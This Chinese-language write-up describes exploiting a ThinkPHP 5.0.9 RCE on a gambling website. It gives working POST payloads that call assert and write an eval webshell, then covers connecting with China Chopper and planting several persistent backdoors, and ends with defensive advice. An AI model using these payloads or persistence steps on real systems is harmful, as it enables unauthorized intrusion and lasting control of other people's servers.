简单的BC站点getshell
字数 1133 2025-08-06 08:35:30

ThinkPHP 5.0.9 RCE漏洞利用与Getshell技术分析

漏洞背景

本文记录了一个针对ThinkPHP 5.0.9框架的远程代码执行(RCE)漏洞利用过程,最终成功获取webshell的完整技术细节。该漏洞存在于ThinkPHP 5.0.9版本中,攻击者可以通过构造特定的HTTP请求实现任意代码执行。

目标识别

  1. 目标站点:一个博彩(BC)类网站
  2. 发现方式:通过旁站信息收集
  3. 框架识别:ThinkPHP v5.0.9

漏洞验证

初始验证Payload

使用以下POST请求验证漏洞存在性:

_method=__construct&filter[]=assert&method=get&get[]=phpinfo()

这个Payload利用了ThinkPHP框架的以下特性:

  • _method参数用于覆盖HTTP方法
  • __construct方法构造器
  • filter数组用于指定过滤函数
  • 最终通过assert函数执行任意PHP代码

环境信息

验证成功后发现:

  • PHP版本:5.4.45
  • 安全限制:system等系统命令执行函数被禁用

绕过限制Getshell

禁用函数分析

通过phpinfo()发现disable_functions禁用了许多危险函数,包括:

  • system
  • exec
  • passthru
  • shell_exec
  • 等系统命令执行函数

替代方案

由于系统命令执行函数被禁用,采用以下方法直接写入webshell:

_method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>')

这个Payload:

  1. 使用file_put_contents函数直接写入文件
  2. 写入一个简单的PHP webshell,使用eval执行POST传入的代码
  3. 避免了被禁用的系统命令执行函数

后续操作

  1. 连接webshell:使用中国菜刀连接写入的a.php文件
  2. 权限检查:发现服务器启用了远程安全模式,权限受限
  3. 源码下载:下载网站源码,部署多个后门防止被删除

技术要点总结

  1. ThinkPHP 5.0.9 RCE漏洞:通过_method参数覆盖和filter参数实现代码执行
  2. 禁用函数绕过:当系统命令执行函数被禁用时,使用文件操作函数直接写入webshell
  3. 持久化:部署多个后门确保访问权限持久性

防御建议

对于网站管理员:

  1. 及时升级ThinkPHP框架到最新安全版本
  2. 限制危险PHP函数的使用
  3. 监控网站文件变动,特别是.php文件的创建和修改
  4. 实施Web应用防火墙(WAF)规则阻止此类攻击

对于开发者:

  1. 不要信任用户输入,特别是用于方法调用的参数
  2. 实现严格的白名单过滤机制
  3. 避免使用assert等危险函数处理用户输入

补充说明

  1. 文中提到的"BC站点"指博彩类网站,此类网站常因安全投入不足而存在较多漏洞
  2. 虽然中国菜刀是较老的工具,但在特定环境下仍可使用
  3. 实际渗透中应根据目标环境灵活调整攻击方式,如函数被禁用时寻找替代方案
ThinkPHP 5.0.9 RCE漏洞利用与Getshell技术分析 漏洞背景 本文记录了一个针对ThinkPHP 5.0.9框架的远程代码执行(RCE)漏洞利用过程,最终成功获取webshell的完整技术细节。该漏洞存在于ThinkPHP 5.0.9版本中,攻击者可以通过构造特定的HTTP请求实现任意代码执行。 目标识别 目标站点 :一个博彩(BC)类网站 发现方式 :通过旁站信息收集 框架识别 :ThinkPHP v5.0.9 漏洞验证 初始验证Payload 使用以下POST请求验证漏洞存在性: 这个Payload利用了ThinkPHP框架的以下特性: _method 参数用于覆盖HTTP方法 __construct 方法构造器 filter 数组用于指定过滤函数 最终通过 assert 函数执行任意PHP代码 环境信息 验证成功后发现: PHP版本:5.4.45 安全限制:system等系统命令执行函数被禁用 绕过限制Getshell 禁用函数分析 通过phpinfo()发现disable_ functions禁用了许多危险函数,包括: system exec passthru shell_ exec 等系统命令执行函数 替代方案 由于系统命令执行函数被禁用,采用以下方法直接写入webshell: 这个Payload: 使用file_ put_ contents函数直接写入文件 写入一个简单的PHP webshell,使用eval执行POST传入的代码 避免了被禁用的系统命令执行函数 后续操作 连接webshell :使用中国菜刀连接写入的a.php文件 权限检查 :发现服务器启用了远程安全模式,权限受限 源码下载 :下载网站源码,部署多个后门防止被删除 技术要点总结 ThinkPHP 5.0.9 RCE漏洞 :通过_ method参数覆盖和filter参数实现代码执行 禁用函数绕过 :当系统命令执行函数被禁用时,使用文件操作函数直接写入webshell 持久化 :部署多个后门确保访问权限持久性 防御建议 对于网站管理员: 及时升级ThinkPHP框架到最新安全版本 限制危险PHP函数的使用 监控网站文件变动,特别是.php文件的创建和修改 实施Web应用防火墙(WAF)规则阻止此类攻击 对于开发者: 不要信任用户输入,特别是用于方法调用的参数 实现严格的白名单过滤机制 避免使用assert等危险函数处理用户输入 补充说明 文中提到的"BC站点"指博彩类网站,此类网站常因安全投入不足而存在较多漏洞 虽然中国菜刀是较老的工具,但在特定环境下仍可使用 实际渗透中应根据目标环境灵活调整攻击方式,如函数被禁用时寻找替代方案